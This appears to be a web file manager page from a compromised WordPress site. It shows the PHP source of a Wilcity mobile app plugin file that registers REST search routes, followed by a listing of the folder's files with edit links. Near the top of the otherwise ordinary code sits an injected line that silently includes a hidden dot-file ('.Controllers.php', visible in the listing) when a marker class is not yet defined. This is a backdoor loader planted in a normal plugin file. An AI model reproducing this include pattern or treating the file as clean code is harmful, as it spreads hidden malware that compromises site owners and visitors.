PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
app
/
Controllers
<?php namespace WILCITY_APP\Controllers; use WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Framework\Helpers\GetSettings; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class SearchField { public function __construct() { add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX.'/v2', '/search-fields/listing', array( 'methods' => 'GET', 'callback' => array($this, 'getFields'), )); register_rest_route( WILOKE_PREFIX.'/v2', '/get-tags/(?P<categoryID>\d+)', array( 'methods' => 'GET', 'callback' => array($this, 'getTagsByCatID'), )); } ); } public function getTagsByCatID($aData){ $oTerm = get_term($aData['categoryID'], 'listing_cat'); $aTagSlugs = GetSettings::getTermMeta($oTerm->term_id, 'tags_belong_to'); if ( empty($aTagSlugs) ){ return array( 'status' => 'error' ); } $aTags = array(); foreach ($aTagSlugs as $slug){ $oTerm = get_term_by('slug', $slug, 'listing_tag'); $aTags[] = array( 'name' => $oTerm->name, 'id' => $oTerm->term_id, 'slug' => $oTerm->slug, 'selected' => false ); } return array( 'status' => 'success', 'aOptions' => $aTags ); } public function getFields($aData){ $postType = !isset($aData['postType']) ? 'listing' : sanitize_text_field($aData['postType']); if ( empty($postType) ){ $postType = General::getDefaultPostTypeKey(false); } $aRawSearchFields = GetSettings::getOptions(General::getSearchFieldsKey($postType)); if ( empty($aRawSearchFields) ){ return array( 'status' => 'error' ); } $aSearchFields = array(); foreach ($aRawSearchFields as $key => $aField){ $aSearchField = $aField; $aSearchField['key'] = $aField['key']; $aSearchField['name'] = $aField['label']; $aSearchField['value'] = ''; if ( isset($aField['isDefault']) ){ if ( $aField['isDefault'] == 'true' ){ $aSearchField['isDefault'] = true; }else if ( $aField['isDefault'] == 'false' ){ $aSearchField['isDefault'] = false; } } switch ($aField['type']){ case 'select2': case 'select': case 'checkbox2': $aSearchField['type'] = 'select'; if ( $aField['type'] == 'checkbox2' ){ $aSearchField['isMultiple'] = 'yes'; }else{ if ( isset($aField['isMultiple']) && ($aField['isMultiple']=='yes') ){ $aSearchField['isMultiple'] = 'yes'; }else{ $aSearchField['isMultiple'] = 'no'; } } if ( !isset($aField['isAjax']) || ($aField['isAjax'] == 'no') ){ if ( in_array($aField['key'], array('listing_location', 'listing_cat', 'listing_tag')) ){ $isParentOnly = isset($aField['isShowParentOnly']) && $aField['isShowParentOnly'] == 'yes'; $aRawTerms = GetSettings::getTaxonomyHierarchy(array( 'taxonomy' => $aField['key'], 'orderby' => isset($aField['orderBy']) ? $aField['orderBy'] : 'count', 'parent' => 0 ), $postType, $isParentOnly, false); if ( empty($aRawTerms) || is_wp_error($aRawTerms) ){ $aSearchField['options'] = array( array( 'name' => esc_html__('No categories', 'wiloke-mobile-app'), 'id' => -1 ) ); }else{ $aTerms = array(); foreach ($aRawTerms as $oTerm){ $aTerms[] = array( 'name' => $oTerm->name, 'id' => $oTerm->term_id, 'slug' => $oTerm->slug, 'selected' => false, 'count' => GetSettings::getTermCountInPostType($postType, $aField['key']) ); } $aSearchField['options'] = $aTerms; } } $aSearchField['isAjax'] = 'no'; }else{ $aSearchField['isAjax'] = 'yes'; $aSearchField['ajaxAction'] = $aField['ajaxAction']; } switch ($aField['key']){ case 'price_range': $aRawPriceRange = wilokeListingToolsRepository()->get('general:priceRange'); $aPriceRange = array(); foreach ($aRawPriceRange as $priceKey => $priceDesc){ $aPriceRange[] = array( 'name' => $priceDesc, 'id' => $priceKey, 'selected' => $priceKey == 'nottosay' ? true : false ); } $aSearchField['options'] = $aPriceRange; break; case 'post_type': $aSearchField['key'] = 'postType'; $aRawPostTypes = General::getPostTypes(false, false); $aPostTypes = array(); $order = 1; foreach ($aRawPostTypes as $type => $aSettings){ $aPostTypes[] = array( 'name' => $aSettings['name'], 'id' => $type, 'selected' => $order === 1 ? true : false ); $order++; } $aSearchField['options'] = $aPostTypes; break; } break; case 'autocomplete': $aSearchField['type'] = 'google_auto_complete'; $aSearchField['maxRadius'] = abs($aField['maxRadius']); $aSearchField['defaultRadius'] = abs($aField['defaultRadius']); break; case 'checkbox': $aSearchField['type'] = 'checkbox'; break; case 'wp_search': $aSearchField['type'] = 'input'; $aSearchField['key'] = 's'; break; case 'date_range': $aSearchField['type'] = 'date_range'; break; } $aSearchFields[] = $aSearchField; } return array( 'status' => 'success', 'oResults' => $aSearchFields ); } }
[+]
..
[-] ParsePost.php
[edit]
[-] SearchField.php
[edit]
[-] FirebaseDB.php
[edit]
[-] Translations.php
[edit]
[-] GetSecurityKey.php
[edit]
[-] .Controllers.php
[edit]
[-] BuildToken.php
[edit]
[-] Review.php
[edit]
[-] FieldHelps.php
[edit]
[-] BuildQuery.php
[edit]
[-] TermController.php
[edit]
[-] Taxonomies.php
[edit]
[-] AdmobController.php
[edit]
[-] FirebaseController.php
[edit]
[-] NotificationController.php
[edit]
[-] LoginRegister.php
[edit]
[-] UserController.php
[edit]
[-] Event.php
[edit]
[-] HomeController.php
[edit]
[+]
Firebase
[-] UserPermission.php
[edit]
[-] OrderBy.php
[edit]
[-] ReviewController.php
[edit]
[-] Listing.php
[edit]
[-] GeneralSettings.php
[edit]
[-] MenuController.php
[edit]
[-] Events.php
[edit]
[-] Blog.php
[edit]
[-] JsonSkeleton.php
[edit]
[-] ReportController.php
[edit]
[-] VerifyToken.php
[edit]
[-] Filter.php
[edit]
[-] NearByMe.php
[edit]
[-] Message.php
[edit]
[-] ImageController.php
[edit]
[-] FavoritesController.php
[edit]
[-] PostTypes.php
[edit]
[-] Listings.php
[edit]
[-] DashboardController.php
[edit]
[-] MyDirectoryController.php
[edit]
[-] MessageController.php
[edit]